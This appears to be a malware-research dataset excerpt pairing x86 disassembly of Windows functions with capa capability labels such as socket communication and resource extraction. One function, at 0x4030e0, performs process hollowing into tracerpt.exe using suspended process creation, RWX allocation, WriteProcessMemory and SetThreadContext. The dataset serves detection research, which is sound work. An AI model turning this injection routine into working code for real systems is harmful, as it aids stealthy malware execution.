joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006d750
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100899b8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100bd024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov ecx, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x24], ecx
mov ecx, 0x100c3579
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x2c], ebx
call fcn.10071035
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x1006d7a6
mov dword [eax], 0
mov dword [ebx], 0
cmp dword [edi], 0xffffffff
je 0x1006d8fb
mov eax, dword [ebp + 0xc]
mov ecx, 0x100000
nop dword [eax]
push 0
mov ebx, eax
mov dword [ebp - 0x1c], 0
cmp eax, 0x100000
lea eax, [ebp - 0x1c]
push eax
cmova ebx, ecx
push ebx
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, 0x7fffbffb
add eax, 0x80004005
cmp dword [edi + 0x1c], 0
je 0x1006d8c6
test eax, eax
je 0x1006d8c6
mov edx, dword [ebp - 0x1c]
cmp edx, ebx
jae 0x1006d8c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [edi]
mov dword [ebp - 0x28], eax
cmp ecx, 0xffffffff
je 0x1006d84b
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1006d83f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1006d84b
mov eax, dword [ebp - 0x14]
xor ecx, ecx
add ecx, esi
adc eax, 0
jmp 0x1006d859
xorps xmm0, xmm0
movlpd qword [ebp - 0x38], xmm0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
push 0
push dword [ebp - 0x28]
push eax
push ecx
sub esp, 0x18
lea eax, [edi + 4]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.1000da20
mov dword [ebp - 4], 0
mov ecx, dword [edi + 0x1c]
mov eax, dword [ecx]
mov dword [ebp - 4], 0xffffffff
call dword [eax + 0x18]
mov esi, dword [ebp - 0x20]
test eax, eax
jne 0x1006d8c6
push eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x1c]
push ebx
add eax, esi
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, eax
xor edx, edx
test ecx, ecx
mov eax, 0x80004005
cmovne eax, edx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
test ecx, ecx
je 0x1006d804
jmp 0x1006d8c9
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
add dword [ecx], edx
test eax, eax
jne 0x1006d8f2
test edx, edx
je 0x1006d8ee
mov eax, dword [ebp + 0xc]
add esi, edx
sub eax, edx
mov dword [ebp - 0x20], esi
mov dword [ebp + 0xc], eax
mov ecx, 0x100000
jne 0x1006d7c0
mov al, 1
jmp 0x1006d8fd
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x1006d8fb
mov dword [ecx], eax
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1006efdc
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403d10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
movzx edx, word [ebp + 0xc]
mov dword [esp + 0xc], 0x400
mov esi, dword [ebp + 0x10]
mov dword [esp + 4], 0xa
mov dword [esp], ebx
mov dword [esp + 8], edx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
sub esp, 0x10
test eax, eax
je 0x403d90
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
sub esp, 8
test eax, eax
je 0x403d90
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
sub esp, 4
mov ecx, eax
test eax, eax
je 0x403d90
xor edx, edx
mov esi, esi
movzx eax, byte [edx + ecx]
mov ebx, 1
mov byte [edx + esi], al
inc edx
test al, al
jne 0x403d70
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret
xor ebx, ebx
jmp 0x403d81

Function at 0x403da0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
mov ecx, 2
lea edi, [ebp - 0x27]
push esi
push ebx
sub esp, 0x2c
lea ebx, [ebp - 0x28]
movzx edx, byte [0x401df7]
cld
mov esi, dword [ebp + 8]
mov byte [ebp - 0x28], dl
rep stosd dword es:[edi], eax
mov byte [edi], 0
movzx edx, word [ebp + 0xc]
mov dword [esp + 0xc], 0x400
mov dword [esp + 4], 0xa
mov dword [esp], esi
mov dword [esp + 8], edx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
sub esp, 0x10
test eax, eax
je 0x403e2c
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
sub esp, 8
test eax, eax
je 0x403e2c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
sub esp, 4
mov ecx, eax
test eax, eax
je 0x403e2c
xor edx, edx
lea esi, [esi]
movzx eax, byte [edx + ecx]
mov byte [edx + ebx], al
inc edx
test al, al
jne 0x403e20
cld
mov esi, ebx
mov edi, 0x40298c
mov ecx, 5
repe cmpsb byte [esi], byte es:[edi]
sete cl
lea esp, [ebp - 0xc]
pop ebx
movzx eax, cl
pop esi
pop edi
pop ebp
ret
Function at 0x404220
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00404490
call fcn.00404420
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x404258
jmp 0x4042f6
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x404257
cmp cl, 0x22
je 0x4042b0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x4042d0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x4042d0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x404290
jmp 0x4042d0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x4042b0
cmp cl, 0x22
je 0x404332
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x4042f0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x4042e0
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x404314
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call fcn.00401740
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x4042d0
Function at 0x402aa0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp dword [eax + 0x70], 0
mov dword [eax + 0x4c], ecx
jne 0x402ab3
mov dword [eax + 0x70], 1
mov dword [eax + 0x54], ecx
mov edx, ecx
sub edx, dword [eax + 0x54]
cmp edx, 0x2710
jge 0x402ac8
cmp edx, 0xffffd8f0
jge 0x402acd
mov dword [eax + 0x54], ecx
jmp 0x402ad1
test edx, edx
js 0x402aec
mov edx, dword [eax + 0x50]
add dword [eax + 0x54], edx
push esi
push edi
mov edi, ecx
sub edi, dword [eax + 0x54]
pop edi
pop esi
js 0x402ae7
add edx, ecx
mov dword [eax + 0x54], edx
jmp fcn.004024b0
ret
Function at 0x4030e0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x4191b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x41da74]
push 0x44
lea ecx, [ebp - 0x418]
push 0
push ecx
mov dword [ebp - 0x3d4], eax
call fcn.0040c590
xor eax, eax
mov dword [esi], eax
push 0x2cc
mov dword [esi + 4], eax
push eax
lea edx, [ebp - 0x3d0]
mov dword [esi + 8], eax
push edx
mov dword [esi + 0xc], eax
call fcn.0040c590
xor eax, eax
push 0xfe
push eax
lea ecx, [ebp - 0x103]
push ecx
mov dword [ebp - 0x418], 0x44
mov dword [ebp - 0x3ec], 1
mov word [ebp - 0x3e8], ax
mov byte [ebp - 0x104], al
call fcn.0040c590
add esp, 0x24
push 0xff
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.WindowsSysWOW64_tracerpt.exe
push eax
push str._s_s
mov edx, eax
mov byte [ebp - 0x101], 0
call fcn.004032a0
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4031cb
push str.WindowsSystem32_tracerpt.exe
lea edx, [ebp - 0x104]
push edx
push str._s_s
mov byte [ebp - 0x101], 0
call fcn.004032a0
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x403200
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406765
mov esp, ebp
pop ebp
ret
mov edx, dword [esi]
push ebx
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x40326c
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [esi]
push 0
push edi
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40326c
mov eax, dword [esi + 4]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov dword [ebp - 0x3d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40326c
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x3d0]
push ecx
push edx
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x40327d
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406765
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00406765
mov esp, ebp
pop ebp
ret
Function at 0x4033b0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x4191b4]
xor eax, esp
mov dword [esp + 0x198], eax
push edi
xor edi, edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi], vtable.CTcpSocket.0
mov dword [esi + 0x38], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov eax, vtable.CBuffer.0
mov dword [esi + 0x2c], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x48], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x4c], eax
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi + 0x58], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
lea ecx, [esi + 0x18]
push ecx
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esp + 0x19c]
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x14], edi
pop edi
xor ecx, esp
mov dword [esi + 0x64], 0xffffffff
mov eax, esi
call fcn.00406765
mov esp, ebp
pop ebp
ret
Function at 0x403990
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, eax
mov dword [ebp - 4], 0
cmp ebx, 0x40000
jl 0x4039ed
jmp 0x4039b0
xor edi, edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x64]
push 0
push 0x40000
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x4039d1
inc edi
cmp edi, 0xf
jl 0x4039b2
cmp edi, 0xf
je 0x403a1e
add dword [ebp - 4], eax
sub ebx, 0x40000
add esi, 0x40000
cmp ebx, 0x40000
jge 0x4039b0
test ebx, ebx
jle 0x403a16
xor edi, edi
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x64]
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x403a0e
inc edi
cmp edi, 0xf
jl 0x4039f3
cmp edi, 0xf
je 0x403a1e
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x403a21
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x403c40
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, eax
mov eax, dword [esi + 0x198]
xor ebx, ebx
cmp eax, ebx
jne 0x403c62
mov dword [esi + 0x1b8], 0x598
jmp 0x403c79
cmp eax, 0x598
jbe 0x403c73
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x1b8], eax
push edi
mov dword [esi + 0x64], ebx
call fcn.00403da0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, 1
push 0x41da8c
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 5
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], eax
mov dword [ebp - 8], ebx
call edi
mov dword [esi + 0x48], eax
cmp eax, ebx
jne 0x403cb8
push 0x41da8c
call edi
mov dword [esi + 0x48], eax
mov ecx, dword [esi + 0x40]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
mov ebx, 0x40000
push ecx
mov dword [ebp - 4], ebx
call edi
mov eax, dword [esi + 0x40]
push 4
lea edx, [ebp - 4]
push edx
push 0x1002
push 0xffff
push eax
mov dword [ebp - 4], ebx
call edi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
push edx
call fcn.00403e30
test eax, eax
je 0x403d4d
lea eax, [esi + 0x58]
push eax
push 0
push esi
push 0x403fb0
push 0
push 0
call fcn.004071db
add esp, 0x18
mov dword [esi + 0x54], eax
test eax, eax
je 0x403d3f
mov ecx, dword [esi + 0x2c]
push ecx
mov edi, 1
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x5c], 8
push 0x65f
jmp 0x403d5b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esi + 0x5c], 0xb
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
xor eax, eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 5
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, esi
call fcn.004046a0
push edi
call ebx
mov edi, dword [ebp - 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x403e30
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4191b4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x11
push 2
xor edi, edi
push 2
mov dword [ebp - 0x18], edi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x40], eax
cmp eax, 0xffffffff
jne 0x403e72
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406765
mov esp, ebp
pop ebp
ret 8
push edi
push edi
lea ecx, [ebp - 0x24]
push ecx
push edi
push edi
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x9800000c
push eax
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov ecx, dword [esi + 0x40]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x1c]
push eax
push 0xfffffffffffffffb
push 0xffff
push ecx
call edi
mov eax, dword [esi + 0x40]
push 4
lea edx, [ebp - 0x1c]
push edx
push 4
push 0xffff
push eax
call edi
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
push 0
push 0
push 0
push 0
push ebx
mov dword [esi + 0x44], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x20], eax
inc eax
push eax
call fcn.0040674f
mov ecx, dword [ebp - 0x20]
add esp, 4
push 0
push 0
push ecx
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x20]
push edi
mov byte [edi + edx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push edi
mov ebx, eax
call fcn.0040675a
add esp, 4
test ebx, ebx
je 0x403e5e
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov edx, dword [ebx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
push 0x30
push edx
push eax
mov dword [ebp - 0x10], ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x403f97
mov edx, dword [esi + 0x40]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x403f90
cmp eax, 0xffffffff
jne 0x403f87
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403f90
mov dword [ebp - 0x18], 0
jmp 0x403f97
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
pop edi
xor ecx, ebp
pop ebx
call fcn.00406765
mov esp, ebp
pop ebp
ret 8
Function at 0x404330
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push ebx
test eax, eax
jne 0x404353
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x40]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x40436c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ebx
xor eax, eax
pop ebx
ret
push edi
lea eax, [esi + 0x19c]
push eax
lea ecx, [esi + 0x1d8]
mov ebx, 1
push ecx
mov dword [esi + 0x60], ebx
mov ecx, esi
mov eax, esi
mov dword [esi + 0x64], ebx
call fcn.00405230
mov edx, dword [esi + 0x40]
xor edi, edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4043b5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x4043b5
xor edi, edi
mov eax, dword [esi + 0x48]
push eax
call fcn.004033a0
add esp, 4
test edi, edi
pop edi
je 0x4043d0
mov eax, 0x80004005
call fcn.00401280
mov eax, ebx
pop ebx
ret

Function at 0x4043e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea esp, [esp]
mov eax, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x40]
push 0
push 0x598
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x4044b2
cmp edi, 0x10
jne 0x404438
mov edx, dword [ebx + 0x70]
mov ecx, eax
mov eax, 0x417478
sub edx, eax
cmp ecx, 4
jb 0x4044ea
mov esi, dword [edx + eax]
cmp esi, dword [eax]
jne 0x404438
sub ecx, 4
add eax, 4
jmp 0x404420
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebx + 0x1c0]
mov edx, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea esi, [ebx + 0x1d8]
cmp edi, 0x18
jl 0x404466
push ecx
push edi
push eax
mov edi, edx
call fcn.004057b0
jmp 0x404470
cmp edi, 0xc
jne 0x4044e0
call fcn.00405660
cmp eax, 2
jne 0x4043f0
mov edx, dword [ebx + 0x48]
push edx
call fcn.004033a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x404494
mov eax, 0x4c7
mov ecx, 1
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x34], 4
pop edi
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x38], eax
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
cmp edi, 0xffffffff
jne 0x4043f0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x404507
cmp eax, 0x2744
je 0x4043f0
cmp eax, 0x2746
je 0x4043f0
jmp 0x404494
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x404479
xor eax, eax
pop edi
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
mov dword [ebx + 0x3c], eax
pop esi
mov dword [ebx + 0x38], eax
pop ebx
pop ebp
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
Function at 0x404520
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ebx
push edi
jmp 0x404530
mov eax, dword [esi + 0x194]
test eax, eax
jle 0x40465a
lea edi, [esi + 0x160]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [esi + 0x17c]
cmp ebx, dword [esi + 0x180]
je 0x40456b
mov eax, dword [ebx + 4]
mov dword [esi + 0x17c], eax
mov dword [eax + 8], 0
jmp 0x40457d
test ebx, ebx
je 0x40457d
xor eax, eax
mov dword [esi + 0x17c], eax
mov dword [esi + 0x180], eax
xor eax, eax
cmp ebx, eax
je 0x40458f
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
dec dword [esi + 0x178]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
je 0x40465a
mov ecx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x18]
push 0
sub eax, ecx
push eax
push ecx
mov ecx, dword [esi + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
test edi, edi
jle 0x4045dc
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [esi + 0x194], edi
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x4045e1
cmp edi, 0xffffffff
je 0x404607
push ebx
lea edi, [esi + 0x98]
call fcn.00401480
test eax, eax
jne 0x404530
mov edx, dword [ebx]
push ebx
push eax
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x404530
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x404665
lea edi, [esi + 0x160]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi + 0x17c]
xor ecx, ecx
cmp eax, ecx
je 0x40463b
mov dword [eax + 8], ebx
mov ecx, dword [esi + 0x17c]
mov dword [ebx + 4], ecx
jmp 0x404647
mov dword [ebx + 8], ecx
mov dword [ebx + 4], ecx
mov dword [esi + 0x180], ebx
inc dword [esi + 0x178]
push edi
mov dword [esi + 0x17c], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 1
push ebx
lea edi, [esi + 0x98]
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], 3
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ecx
call fcn.00401480
test eax, eax
jne 0x404697
mov edx, dword [ebx]
push ebx
push eax
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret